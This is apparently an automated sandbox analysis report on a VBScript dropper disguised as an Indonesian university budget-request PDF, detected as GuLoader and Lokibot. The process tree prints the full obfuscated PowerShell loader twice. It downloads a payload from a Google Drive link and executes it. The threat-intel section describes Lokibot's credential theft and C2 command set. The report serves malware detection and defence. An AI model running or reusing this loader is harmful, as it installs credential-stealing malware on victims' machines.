Edit tour

Windows Analysis Report
PERMINTAAN ANGGARAN (Universitas IPB) ID177888#U00b7pdf.vbs

Overview

General Information

Sample name:	PERMINTAAN ANGGARAN (Universitas IPB) ID177888#U00b7pdf.vbs renamed because original name is a hash value
Original sample name:	PERMINTAAN ANGGARAN (Universitas IPB) ID177888pdf.vbs
Analysis ID:	1523886
MD5:	cf3ce0d565b919fe45d02705736fe824
SHA1:	0924076c6434b432b18fd0b298a2b5b14e38b754
SHA256:	96c1a11d9036afc58f65d8533f2c37b7fc64048e21bc60f28f0bb9311902e80f
Infos:

Detection

GuLoader, Lokibot

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

VBScript performs obfuscated calls to suspicious functions

Yara detected GuLoader

Yara detected Lokibot

Yara detected Powershell download and execute

AI detected suspicious sample

Found suspicious powershell code related to unpacking or dynamic code loading

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Tries to harvest and steal browser information (history, passwords, etc)

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Writes to foreign memory regions

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Drops PE files

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

PE file contains sections with non-standard names

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Msiexec Initiated Connection

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Sleep loop found (likely to delay execution)

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Very long command line found

Yara signature match

Classification

Process Tree

System is w10x64

wscript.exe (PID: 7352 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\PERMINTAAN ANGGARAN (Universitas IPB) ID177888#U00b7pdf.vbs" MD5: A47CBE969EA935BDD3AB568BB126BC80)

powershell.exe (PID: 7408 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "<#Bjrgning Indicerede afskrkkelsesvaabnenes Halvfabrikatas Myosuture Skilteskrift Pensils #>;$Ammoniacs='Befragters';<#Avilion kendall kicking #>;$Attesterende=$host.PrivateData;If ($Attesterende) {$Jernbanelinier++;}function Preeliminator($Amagerhylde){$Drukkenbolten=$Chaussure+$Amagerhylde.Length-$Jernbanelinier;for( $Getling=5;$Getling -lt $Drukkenbolten;$Getling+=6){$Nordfljs180+=$Amagerhylde[$Getling];}$Nordfljs180;}function Glederens($Floraer207){ & ($Eftertragtelsers) ($Floraer207);}$Spisefrikvarteret=Preeliminator 'GelatMPhotooSdsupzss ori O belQu etlRenataamphi/ Tilh5Ve an.Not r0Udson Ind c(AfgasWSanitiLabi nHarpudptomaoBetraw Pl nsA.cum VedblNN,nmeT stfo so.si1 a ne0Opium.Jetti0foraa;,nman b,lthWModtai K otn ern6Ratba4Tynds;Koldk Supe xlegac6Cellm4 Triu;Rolni VinderMlescvMods,:per c1Parti2 Pre 1et al.Savne0Edgew)Belly TrickGS.cceeHeltic AfgrkOleogoVentr/Blods2 .isq0S,uth1Froko0S nsi0konde1Selek0Batus1Udkry DetonFH spiiVillarGenn eBlubbfCiffeoSalatxLabba/Midte1 Ver,2 V rg1 Over.Kem i0 oni ';$Melton=Preeliminator ' HandUUniveSAfs nEUnexprFrema- Blk AJackfgBr gaedekanN UflytAdnex ';$Tessituras160=Preeliminator 'FristhKvi dtB dbatLow,ip.recasLejei:E ter/Amati/S.mlidPret rSpeediHandlvSyzyge Pati.Ove sg Ri.goDemisoPelvigUnclelTwatceUnsu .Exo,ecUnco oFiskemMi mo/Mongcusja,kcAgrar? De.meMrkatx .ackp FantohkkerrConvetOblig=NulpudSstteoJordewEnaarnReceplSkinnoGla sa OpsadK mmu&Cir uiSv dsdMerin=Drift1NondeQSlutmt Tyk OKonsekIdesvBGyno JPagodW andgLStikpLintenxNonde3.erveD LiniwClonkBWall.CDivisg Au,oRGl tsLSpina8NonciQSy ecZzairiaTaxam0BonnnhKendeYSynenUPa il0MackiwSyndrtSundaSUdskrj Gnis7Syvaa ';$Reskaleringen=Preeliminator 'S,rig>Yu ca ';$Eftertragtelsers=Preeliminator 'BeaveiEforeeAttacX,ekto ';$Amazonernes='Chromophoric';$Cogida='\Reebok.Dia';Glederens (Preeliminator 'Lazur$SvmmegProatlK ledoCatalbRealiaBulbolDa ks:Cam oV RecreOvervrListedVaskoe Di inWa,ersThorphUdv siMattesSenegtS amnoMavefrIndfriKornfs prudk Raile ReoxsVerds=Polem$FusenedimminHal,fv Intr:Bj.rgaPseudpH micpBekradMajesaS efftOrakla ortr+blin $ReawoC BlinoBudmagDestii CoundMemoraElekt ');Glederens (Preeliminator 'Jingl$Mayb gGadenlStikkoMust b KnapaCourtlPligt:CroaptAn ihrHeroleParadbHy era K ncnHete eJanifn Lsni=Sente$ ConsT Mysteoutbls Sikks PseuiPatentSta iuAlb.tr,utokaPachosLevef1 M,mo6Fer d0 Chem.UnshisSta dp.bseslStockiScourtBr sk( Hete$someoRtoot.etros s AnalklokalaKreatl .epteUnfurrBarduiSarconStiklgAntife Lab n Lat,) anga ');Glederens (Preeliminator 'Flyde[S.empN I.laeNaziptDinor.YesteSForneerigorrKennevDybsiiHortecSaliceScootPTabacoFacahiHairin ma gt ,entMApplia Lil nTreadaDisd gSamlee CommrEmbub]Bitte:Cycli:GastrSFeltheHeatecA foru rnearAflsei OngotFie dy .odsPAvle rAndreo BlegtCastioop,racStyreoMu tilSeism Pres =Udhal Opspa[ BhutN Afk.e Knitt Udga.,artjS ropdeBundlcResiluS rivrEks.mi tiftT rsuyPaperPHenver Huxto MulitBoy,ooForskc UnceoKsnehlAdrenTVar,iyLat.rpFib seCythe],ermi:Aaben:Alei TR diolGrftesSolhj1 smad2Tubel ');$Tessituras160=$trebanen[0];$saurels=(Preeliminator 'algo,$Hepp.gRearrlSweenoAllerbD oleaAfgifLEfter:F lberBadgeeBaadfP,uperEKarritOpkl,iKrsantElledi RestO LiqunAmin ASekunR I.teYDiplo=Tran NMag,eE MisiWputre-NatarONd inbForldjR ulmeBasisCMidenTNonn. Rec.nSCac.cyCapriSO,idetPo,ygEsmaasMArcha.Flo snD pliEDemiotSt ns.Stam wB nebeSkrumbRep ocUdgralglitti Sm kE eklaN P.antvaler ');Glederens ($saurels);Glederens (Preeliminator ' Unsc$Limi.Rungare.edsppAmbuleSurintM,untiStrint,ovediPartso BalanCas,faLarrur MillyPerni.Em erHSkbneeTitteaP,otodRoyale Blksr ,ills rga[Omkr $IndfdM OvereRa iul fsbtHocklomousin krue]Asper=torre$ .icrSpamfipBlu pikontrsUndereCrossfSerabrSyntei CharkuratuvEddicaAh ldr ,rantkompoeEny lrHypaceNonqutFaglo ');$Band=Preeliminator 'Petau$nykalRDykkee St.rp MadoeCautitMyrici BlomtEpigri PreaoSt ernBasilaOsterrBankrydomes.Til gDFolkeoRemovwIn imn.krivlAf ilo Kursa Fa ldKnaldFBerthiOpfanlablace nat(Vir e$P.rseTRhinoeSammesArccosOverdiPangetx loguRegnorConyzaNon.osSva m1Pr nt6 Pell0Surre,Legul$ KawcBS unklCo.ntaOrdfjdSeriesAlette ,kanlC rollSvolveForeprTreski U ar) Hy,e ';$Bladselleri=$Verdenshistoriskes;Glederens (Preeliminator 'vitam$U irkGFarveLechoiOR litB eriAOvervLMishm:ProviUAkamndGalacSMonogTDi raiR,stbl etiLUdskreOverstaglyc=Dephl(Ge yrtAgerjEFremssPaupeTSacri-FiskepCl ngAsurpaTSchizhBlot Fdsel$ B atbBallylGj rdafrancDTh.otSMicroESoci,LB,uxiLTricoEAppriRFj,rdiMal,i)Smls ');while (!$Udstillet) {Glederens (Preeliminator 'Urede$St.ejg MetolCou soBeskfb SlgeaD athlgasap: ashlITelfonOversv TirsaNo malSsonaiBrug dAlthoeTailopSt kne Physn Sagas,rissiE bezo.accin rugsbl ck= Torv$ KelptArkairUnupbu Tet.e va.e ') ;Glederens $Band;Glederens (Preeliminator 'KoordSCykeltClarkaLiebhr MarktTusin-BrnehSDelkllRen,eeRe peeAbstrpUnco Intui4 Moan ');Glederens (Preeliminator 'm,tth$ NipsgNot rl Cai.o LoesbReearaBoplsl nden:EclipUGalocd lomssNo,imtGrafiiOverllMisfolHete eAn,latSydam=Afsti(PlaneT Amuzec,rsosGummitElevc-Ind rPStrafaOvah.twowi,h pent Permi$ OverB Wal l varmaAut cdHainasR,sbeecardilPrecol ProleEmissrSu.eriDolph)S urp ') ;Glederens (Preeliminator ' Kay $Pu slgChervlclodpoKlingb Geoma pklalS,rre:GalliASoricnRomertOve pi Duehk Un.evDe,tea IncorSkriniBeforafjerbtMor.i= Z,nt$UgenngEnv,ilKonseo,ibiabCensuam strl Bl,n: Sam.Tearwio Noniu W rksFrem lKirkeiOp.arnbetingHuser+Jul s+ igma%Nas e$ D.tetUnshrr,aandeAltanbGeneraadre nHandeeWintenLitho. pfancPerfoo prruKomman .gentH,nli ') ;$Tessituras160=$trebanen[$Antikvariat];}$Getlingndsunknes198=318869;$Negrita=32225;Glederens (Preeliminator 'Mo,fa$UddykgPresulInteroKollebOverlaNema l equi:UdbliPOverloCocond oldaa rounr ReligTrammeCalor Coxc= Co s ProfeGSheareE imytP odu-KultuCrulleoMisaln,iggit yline ombenPrecut Erig umy,d$ ko pB Hem l rminaI,dekd.ravlsSp.cieMaa el CabolCac ee kolrShtchiGoka ');Glederens (Preeliminator 'Hobna$Deka,gConf.lbe,vroDybs,bJessiaBerewl desi:TilstShor,euArlanpHyptre PerirCur ecOpvasa.osadrArgumg Fed,o IdiosStupe Ener=Margi Geofy[LapidS adeay elarsKo eatBev eePrehumlamia. ,alaCZornuo Un enBega vDiploe iscrNeddytRetsh]Balan: Skif:FedteFErnrirI,eogoUndermCre yBUnm.caErgoms ConseAver 6Re re4TavleSfugletchancrFdreliMessenPassagExpon(Nstfo$ EnnaPDi tio Sigtd ,oraaD vnsr MahjgCloyleSkatt)gulds ');Glederens (Preeliminator 'R pub$ RibbgToothlFugleo St ab HoflaForstlMeddl:por,vTTvrstoMashmn.edaieTrucul Sm,aeWishej ngreBefootadgans.abar C,ika= Groo minar[ Dra.S tuthyPseuds Teletsamree StrumLu er.overdTSv neeEcle xMediot Gill.SobreEs.norn ReficSata,o N.tadTatteiF nsenFimengLatir].eign: itro:Cyke.A GlemSFiskeClg dgI umynI,lind. TotaGSphagepseudtEneboSBestvtDybb rmelleiB,quan ensagDimid(Buder$Ag veSTimokuParafp UdgieTvan rKumulc gejlaMumblrfrivogKo meoWaspisUnder)Bru e ');Glederens (Preeliminator 'Iri e$TamergTu,nelAsepso okumbUntenaF derlTi li:Prut PFo ndfr.emig p in=Rygep$ pa.tTTirehoVkstrnBaronehirudlPaviseVelrvjSnuereVan,ltRukbasTr si.OmstnsAffutuOutspbUnpeds Veint Brutr Ruski Kas,nUncaug Lowl(Masse$ForldGOver.eIldfut ,ttalDeseciSkra nBighogImprinstuehdCha.cs.bbatuOvercnBondukStrepnSubtre Mon,s apit1Opbe.9Taeni8Inter,Ti,st$CatnaNPh ageSwinkgko.terRobiniR.lent InveaTmrer)Sky d ');Glederens $Pfg;" MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 7416 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7784 cmdline: "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "<#Bjrgning Indicerede afskrkkelsesvaabnenes Halvfabrikatas Myosuture Skilteskrift Pensils #>;$Ammoniacs='Befragters';<#Avilion kendall kicking #>;$Attesterende=$host.PrivateData;If ($Attesterende) {$Jernbanelinier++;}function Preeliminator($Amagerhylde){$Drukkenbolten=$Chaussure+$Amagerhylde.Length-$Jernbanelinier;for( $Getling=5;$Getling -lt $Drukkenbolten;$Getling+=6){$Nordfljs180+=$Amagerhylde[$Getling];}$Nordfljs180;}function Glederens($Floraer207){ & ($Eftertragtelsers) ($Floraer207);}$Spisefrikvarteret=Preeliminator 'GelatMPhotooSdsupzss ori O belQu etlRenataamphi/ Tilh5Ve an.Not r0Udson Ind c(AfgasWSanitiLabi nHarpudptomaoBetraw Pl nsA.cum VedblNN,nmeT stfo so.si1 a ne0Opium.Jetti0foraa;,nman b,lthWModtai K otn ern6Ratba4Tynds;Koldk Supe xlegac6Cellm4 Triu;Rolni VinderMlescvMods,:per c1Parti2 Pre 1et al.Savne0Edgew)Belly TrickGS.cceeHeltic AfgrkOleogoVentr/Blods2 .isq0S,uth1Froko0S nsi0konde1Selek0Batus1Udkry DetonFH spiiVillarGenn eBlubbfCiffeoSalatxLabba/Midte1 Ver,2 V rg1 Over.Kem i0 oni ';$Melton=Preeliminator ' HandUUniveSAfs nEUnexprFrema- Blk AJackfgBr gaedekanN UflytAdnex ';$Tessituras160=Preeliminator 'FristhKvi dtB dbatLow,ip.recasLejei:E ter/Amati/S.mlidPret rSpeediHandlvSyzyge Pati.Ove sg Ri.goDemisoPelvigUnclelTwatceUnsu .Exo,ecUnco oFiskemMi mo/Mongcusja,kcAgrar? De.meMrkatx .ackp FantohkkerrConvetOblig=NulpudSstteoJordewEnaarnReceplSkinnoGla sa OpsadK mmu&Cir uiSv dsdMerin=Drift1NondeQSlutmt Tyk OKonsekIdesvBGyno JPagodW andgLStikpLintenxNonde3.erveD LiniwClonkBWall.CDivisg Au,oRGl tsLSpina8NonciQSy ecZzairiaTaxam0BonnnhKendeYSynenUPa il0MackiwSyndrtSundaSUdskrj Gnis7Syvaa ';$Reskaleringen=Preeliminator 'S,rig>Yu ca ';$Eftertragtelsers=Preeliminator 'BeaveiEforeeAttacX,ekto ';$Amazonernes='Chromophoric';$Cogida='\Reebok.Dia';Glederens (Preeliminator 'Lazur$SvmmegProatlK ledoCatalbRealiaBulbolDa ks:Cam oV RecreOvervrListedVaskoe Di inWa,ersThorphUdv siMattesSenegtS amnoMavefrIndfriKornfs prudk Raile ReoxsVerds=Polem$FusenedimminHal,fv Intr:Bj.rgaPseudpH micpBekradMajesaS efftOrakla ortr+blin $ReawoC BlinoBudmagDestii CoundMemoraElekt ');Glederens (Preeliminator 'Jingl$Mayb gGadenlStikkoMust b KnapaCourtlPligt:CroaptAn ihrHeroleParadbHy era K ncnHete eJanifn Lsni=Sente$ ConsT Mysteoutbls Sikks PseuiPatentSta iuAlb.tr,utokaPachosLevef1 M,mo6Fer d0 Chem.UnshisSta dp.bseslStockiScourtBr sk( Hete$someoRtoot.etros s AnalklokalaKreatl .epteUnfurrBarduiSarconStiklgAntife Lab n Lat,) anga ');Glederens (Preeliminator 'Flyde[S.empN I.laeNaziptDinor.YesteSForneerigorrKennevDybsiiHortecSaliceScootPTabacoFacahiHairin ma gt ,entMApplia Lil nTreadaDisd gSamlee CommrEmbub]Bitte:Cycli:GastrSFeltheHeatecA foru rnearAflsei OngotFie dy .odsPAvle rAndreo BlegtCastioop,racStyreoMu tilSeism Pres =Udhal Opspa[ BhutN Afk.e Knitt Udga.,artjS ropdeBundlcResiluS rivrEks.mi tiftT rsuyPaperPHenver Huxto MulitBoy,ooForskc UnceoKsnehlAdrenTVar,iyLat.rpFib seCythe],ermi:Aaben:Alei TR diolGrftesSolhj1 smad2Tubel ');$Tessituras160=$trebanen[0];$saurels=(Preeliminator 'algo,$Hepp.gRearrlSweenoAllerbD oleaAfgifLEfter:F lberBadgeeBaadfP,uperEKarritOpkl,iKrsantElledi RestO LiqunAmin ASekunR I.teYDiplo=Tran NMag,eE MisiWputre-NatarONd inbForldjR ulmeBasisCMidenTNonn. Rec.nSCac.cyCapriSO,idetPo,ygEsmaasMArcha.Flo snD pliEDemiotSt ns.Stam wB nebeSkrumbRep ocUdgralglitti Sm kE eklaN P.antvaler ');Glederens ($saurels);Glederens (Preeliminator ' Unsc$Limi.Rungare.edsppAmbuleSurintM,untiStrint,ovediPartso BalanCas,faLarrur MillyPerni.Em erHSkbneeTitteaP,otodRoyale Blksr ,ills rga[Omkr $IndfdM OvereRa iul fsbtHocklomousin krue]Asper=torre$ .icrSpamfipBlu pikontrsUndereCrossfSerabrSyntei CharkuratuvEddicaAh ldr ,rantkompoeEny lrHypaceNonqutFaglo ');$Band=Preeliminator 'Petau$nykalRDykkee St.rp MadoeCautitMyrici BlomtEpigri PreaoSt ernBasilaOsterrBankrydomes.Til gDFolkeoRemovwIn imn.krivlAf ilo Kursa Fa ldKnaldFBerthiOpfanlablace nat(Vir e$P.rseTRhinoeSammesArccosOverdiPangetx loguRegnorConyzaNon.osSva m1Pr nt6 Pell0Surre,Legul$ KawcBS unklCo.ntaOrdfjdSeriesAlette ,kanlC rollSvolveForeprTreski U ar) Hy,e ';$Bladselleri=$Verdenshistoriskes;Glederens (Preeliminator 'vitam$U irkGFarveLechoiOR litB eriAOvervLMishm:ProviUAkamndGalacSMonogTDi raiR,stbl etiLUdskreOverstaglyc=Dephl(Ge yrtAgerjEFremssPaupeTSacri-FiskepCl ngAsurpaTSchizhBlot Fdsel$ B atbBallylGj rdafrancDTh.otSMicroESoci,LB,uxiLTricoEAppriRFj,rdiMal,i)Smls ');while (!$Udstillet) {Glederens (Preeliminator 'Urede$St.ejg MetolCou soBeskfb SlgeaD athlgasap: ashlITelfonOversv TirsaNo malSsonaiBrug dAlthoeTailopSt kne Physn Sagas,rissiE bezo.accin rugsbl ck= Torv$ KelptArkairUnupbu Tet.e va.e ') ;Glederens $Band;Glederens (Preeliminator 'KoordSCykeltClarkaLiebhr MarktTusin-BrnehSDelkllRen,eeRe peeAbstrpUnco Intui4 Moan ');Glederens (Preeliminator 'm,tth$ NipsgNot rl Cai.o LoesbReearaBoplsl nden:EclipUGalocd lomssNo,imtGrafiiOverllMisfolHete eAn,latSydam=Afsti(PlaneT Amuzec,rsosGummitElevc-Ind rPStrafaOvah.twowi,h pent Permi$ OverB Wal l varmaAut cdHainasR,sbeecardilPrecol ProleEmissrSu.eriDolph)S urp ') ;Glederens (Preeliminator ' Kay $Pu slgChervlclodpoKlingb Geoma pklalS,rre:GalliASoricnRomertOve pi Duehk Un.evDe,tea IncorSkriniBeforafjerbtMor.i= Z,nt$UgenngEnv,ilKonseo,ibiabCensuam strl Bl,n: Sam.Tearwio Noniu W rksFrem lKirkeiOp.arnbetingHuser+Jul s+ igma%Nas e$ D.tetUnshrr,aandeAltanbGeneraadre nHandeeWintenLitho. pfancPerfoo prruKomman .gentH,nli ') ;$Tessituras160=$trebanen[$Antikvariat];}$Getlingndsunknes198=318869;$Negrita=32225;Glederens (Preeliminator 'Mo,fa$UddykgPresulInteroKollebOverlaNema l equi:UdbliPOverloCocond oldaa rounr ReligTrammeCalor Coxc= Co s ProfeGSheareE imytP odu-KultuCrulleoMisaln,iggit yline ombenPrecut Erig umy,d$ ko pB Hem l rminaI,dekd.ravlsSp.cieMaa el CabolCac ee kolrShtchiGoka ');Glederens (Preeliminator 'Hobna$Deka,gConf.lbe,vroDybs,bJessiaBerewl desi:TilstShor,euArlanpHyptre PerirCur ecOpvasa.osadrArgumg Fed,o IdiosStupe Ener=Margi Geofy[LapidS adeay elarsKo eatBev eePrehumlamia. ,alaCZornuo Un enBega vDiploe iscrNeddytRetsh]Balan: Skif:FedteFErnrirI,eogoUndermCre yBUnm.caErgoms ConseAver 6Re re4TavleSfugletchancrFdreliMessenPassagExpon(Nstfo$ EnnaPDi tio Sigtd ,oraaD vnsr MahjgCloyleSkatt)gulds ');Glederens (Preeliminator 'R pub$ RibbgToothlFugleo St ab HoflaForstlMeddl:por,vTTvrstoMashmn.edaieTrucul Sm,aeWishej ngreBefootadgans.abar C,ika= Groo minar[ Dra.S tuthyPseuds Teletsamree StrumLu er.overdTSv neeEcle xMediot Gill.SobreEs.norn ReficSata,o N.tadTatteiF nsenFimengLatir].eign: itro:Cyke.A GlemSFiskeClg dgI umynI,lind. TotaGSphagepseudtEneboSBestvtDybb rmelleiB,quan ensagDimid(Buder$Ag veSTimokuParafp UdgieTvan rKumulc gejlaMumblrfrivogKo meoWaspisUnder)Bru e ');Glederens (Preeliminator 'Iri e$TamergTu,nelAsepso okumbUntenaF derlTi li:Prut PFo ndfr.emig p in=Rygep$ pa.tTTirehoVkstrnBaronehirudlPaviseVelrvjSnuereVan,ltRukbasTr si.OmstnsAffutuOutspbUnpeds Veint Brutr Ruski Kas,nUncaug Lowl(Masse$ForldGOver.eIldfut ,ttalDeseciSkra nBighogImprinstuehdCha.cs.bbatuOvercnBondukStrepnSubtre Mon,s apit1Opbe.9Taeni8Inter,Ti,st$CatnaNPh ageSwinkgko.terRobiniR.lent InveaTmrer)Sky d ');Glederens $Pfg;" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 7792 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

msiexec.exe (PID: 8076 cmdline: "C:\Windows\syswow64\msiexec.exe" MD5: 9D09DC1EDA745A5F87553048E57620CF)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
CloudEyE, GuLoader	CloudEyE (initially named GuLoader) is a small VB5/6 downloader. It typically downloads RATs/Stealers, such as Agent Tesla, Arkei/Vidar, Formbook, Lokibot, Netwire and Remcos, often but not always from Google Drive. The downloaded payload is xored.	No Attribution	http://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/bluebottle-banks-targeted-africa https://0x00sec.org/t/analyzing-modern-malware-techniques-part-3/18943 https://any.run/cybersecurity-blog/deobfuscating-guloader/ https://asec.ahnlab.com/en/55978/ https://blog.checkpoint.com/security/march-2023s-most-wanted-malware-new-emotet-campaign-bypasses-microsoft-blocks-to-distribute-malicious-onenote-files/	https://malpedia.caad.fkie.fraunhofer.de/details/win.cloudeye

Name	Description	Attribution	Blogpost URLs	Link
Loki Password Stealer (PWS), LokiBot	"Loki Bot is a commodity malware sold on underground sites which is designed to steal private data from infected machines, and then submit that info to a command and control host via HTTP POST. This private data includes stored passwords, login credential information from Web browsers, and a variety of cryptocurrency wallets." - PhishMeLoki-Bot employs function hashing to obfuscate the libraries utilized. While not all functions are hashed, a vast majority of them are.Loki-Bot accepts a single argument/switch of -u that simply delays execution (sleeps) for 10 seconds. This is used when Loki-Bot is upgrading itself.The Mutex generated is the result of MD5 hashing the Machine GUID and trimming to 24-characters. For example: B7E1C2CC98066B250DDB2123.Loki-Bot creates a hidden folder within the %APPDATA% directory whose name is supplied by the 8th thru 13th characters of the Mutex. For example: %APPDATA%\ C98066\.There can be four files within the hidden %APPDATA% directory at any given time: .exe, .lck, .hdb and .kdb. They will be named after characters 13 thru 18 of the Mutex. For example: 6B250D. Below is the explanation of their purpose:FILE EXTENSIONFILE DESCRIPTION.exeA copy of the malware that will execute every time the user account is logged into.lckA lock file created when either decrypting Windows Credentials or Keylogging to prevent resource conflicts.hdbA database of hashes for data that has already been exfiltrated to the C2 server.kdbA database of keylogger data that has yet to be sent to the C2 serverIf the user is privileged, Loki-Bot sets up persistence within the registry under HKEY_LOCAL_MACHINE. If not, it sets up persistence under HKEY_CURRENT_USER.The first packet transmitted by Loki-Bot contains application data.The second packet transmitted by Loki-Bot contains decrypted Windows credentials.The third packet transmitted by Loki-Bot is the malware requesting C2 commands from the C2 server. By default, Loki-Bot will send this request out every 10 minutes after the initial packet it sent.Communications to the C2 server from the compromised host contain information about the user and system including the username, hostname, domain, screen resolution, privilege level, system architecture, and Operating System.The first WORD of the HTTP Payload represents the Loki-Bot version.The second WORD of the HTTP Payload is the Payload Type. Below is the table of identified payload types:BYTEPAYLOAD TYPE0x26Stolen Cryptocurrency Wallet0x27Stolen Application Data0x28Get C2 Commands from C2 Server0x29Stolen File0x2APOS (Point of Sale?)0x2BKeylogger Data0x2CScreenshotThe 11th byte of the HTTP Payload begins the Binary ID. This might be useful in tracking campaigns or specific threat actors. This value value is typically ckav.ru. If you come across a Binary ID that is different from this, take note!Loki-Bot encrypts both the URL and the registry key used for persistence using Triple DES encryption.The Content-Key HTTP Header value is the result of hashing the HTTP Header values that precede it. This is likely used as a protection against researchers who wish to poke and prod at Loki-Bots C2 infrastructure.Loki-Bot can accept the following instructions from the C2 Server:BYTEINSTRUCTION DESCRIPTION0x00Download EXE & Execute0x01Download DLL & Load #10x02Download DLL & Load #20x08Delete HDB File0x09Start Keylogger0x0AMine & Steal Data0x0EExit Loki-Bot0x0FUpgrade Loki-Bot0x10Change C2 Polling Frequency0x11Delete Executables & ExitSuricata SignaturesRULE SIDRULE NAME2024311ET TROJAN Loki Bot Cryptocurrency Wallet Exfiltration Detected2024312ET TROJAN Loki Bot Application/Credential Data Exfiltration Detected M12024313ET TROJAN Loki Bot Request for C2 Commands Detected M12024314ET TROJAN Loki Bot File Exfiltration Detected2024315ET TROJAN Loki Bot Keylogger Data Exfiltration Detected M12024316ET TROJAN Loki Bot Screenshot Exfiltration Detected2024317ET TROJAN Loki Bot Application/Credential Data Exfiltration Detected M22024318ET TROJAN Loki Bot Request for C2 Commands Detected M22024319ET TROJAN Loki Bot Keylogger Data Exfiltration Detected M2	SWEED The Gorgon Group Cobalt	http://blog.reversing.xyz/reversing/2021/06/08/lokibot.html http://reversing.fun/posts/2021/06/08/lokibot.html http://reversing.fun/reversing/2021/06/08/lokibot.html http://www.malware-traffic-analysis.net/2017/06/12/index.html https://blog.fortinet.com/2017/05/17/new-loki-variant-being-spread-via-pdf-file	https://malpedia.caad.fkie.fraunhofer.de/details/win.lokipws

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Lokibot_1	Yara detected Lokibot	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
00000008.00000002.2948258092.00000000042ED000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Lokibot_1	Yara detected Lokibot	Joe Security
00000004.00000002.2721566180.0000000008430000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_GuLoader_5	Yara detected GuLoader	Joe Security
00000004.00000002.2710566286.000000000565A000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_GuLoader_5	Yara detected GuLoader	Joe Security
00000004.00000002.2721776675.0000000008B75000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_GuLoader_2	Yara detected GuLoader	Joe Security
00000001.00000002.1895124133.00000211A38F4000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_GuLoader_5	Yara detected GuLoader	Joe Security
Process Memory Space: powershell.exe PID: 7408	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: powershell.exe PID: 7408	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0x2a93cc:$b2: ::FromBase64String( 0x2a9407:$b2: ::FromBase64String( 0x2a9443:$b2: ::FromBase64String( 0x2a9480:$b2: ::FromBase64String( 0x2a94be:$b2: ::FromBase64String( 0x2a94fd:$b2: ::FromBase64String( 0x2a953d:$b2: ::FromBase64String( 0x2a957e:$b2: ::FromBase64String( 0x2a95c0:$b2: ::FromBase64String( 0x2a9603:$b2: ::FromBase64String( 0x7d01e:$s1: -join 0x7d77e:$s1: -join 0x1b63ac:$s1: -join 0x1c3481:$s1: -join 0x1c6853:$s1: -join 0x1c6f05:$s1: -join 0x1c89f6:$s1: -join 0x1cabfc:$s1: -join 0x1cb423:$s1: -join 0x1cbc93:$s1: -join 0x1cc3ce:$s1: -join
Process Memory Space: powershell.exe PID: 7784	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: powershell.exe PID: 7784	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0x2617a6:$b2: ::FromBase64String( 0x453d3:$s1: -join 0x51ea1:$s1: -join 0xce7ff:$s1: -join 0x25a2aa:$s1: -join 0x2b3d9:$s3: reverse 0x37502:$s3: reverse 0x93726:$s3: reverse 0xa139f:$s3: reverse 0x1d8c86:$s3: reverse 0x1e5bf5:$s3: reverse 0x2b335a:$s3: reverse 0x2b49a6:$s3: reverse 0x2b4c71:$s3: reverse 0x2b52e4:$s3: reverse 0x2b5a89:$s3: reverse 0x2bdceb:$s3: reverse 0x2c0484:$s3: reverse 0x2c089e:$s3: reverse 0x2c1426:$s3: reverse 0x2c20d3:$s3: reverse
Process Memory Space: msiexec.exe PID: 8076	JoeSecurity_Lokibot_1	Yara detected Lokibot	Joe Security
Process Memory Space: msiexec.exe PID: 8076	JoeSecurity_GuLoader	Yara detected GuLoader	Joe Security
Click to see the 6 entries

Other

Source	Rule	Description	Author	Strings
amsi64_7408.amsi.csv	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
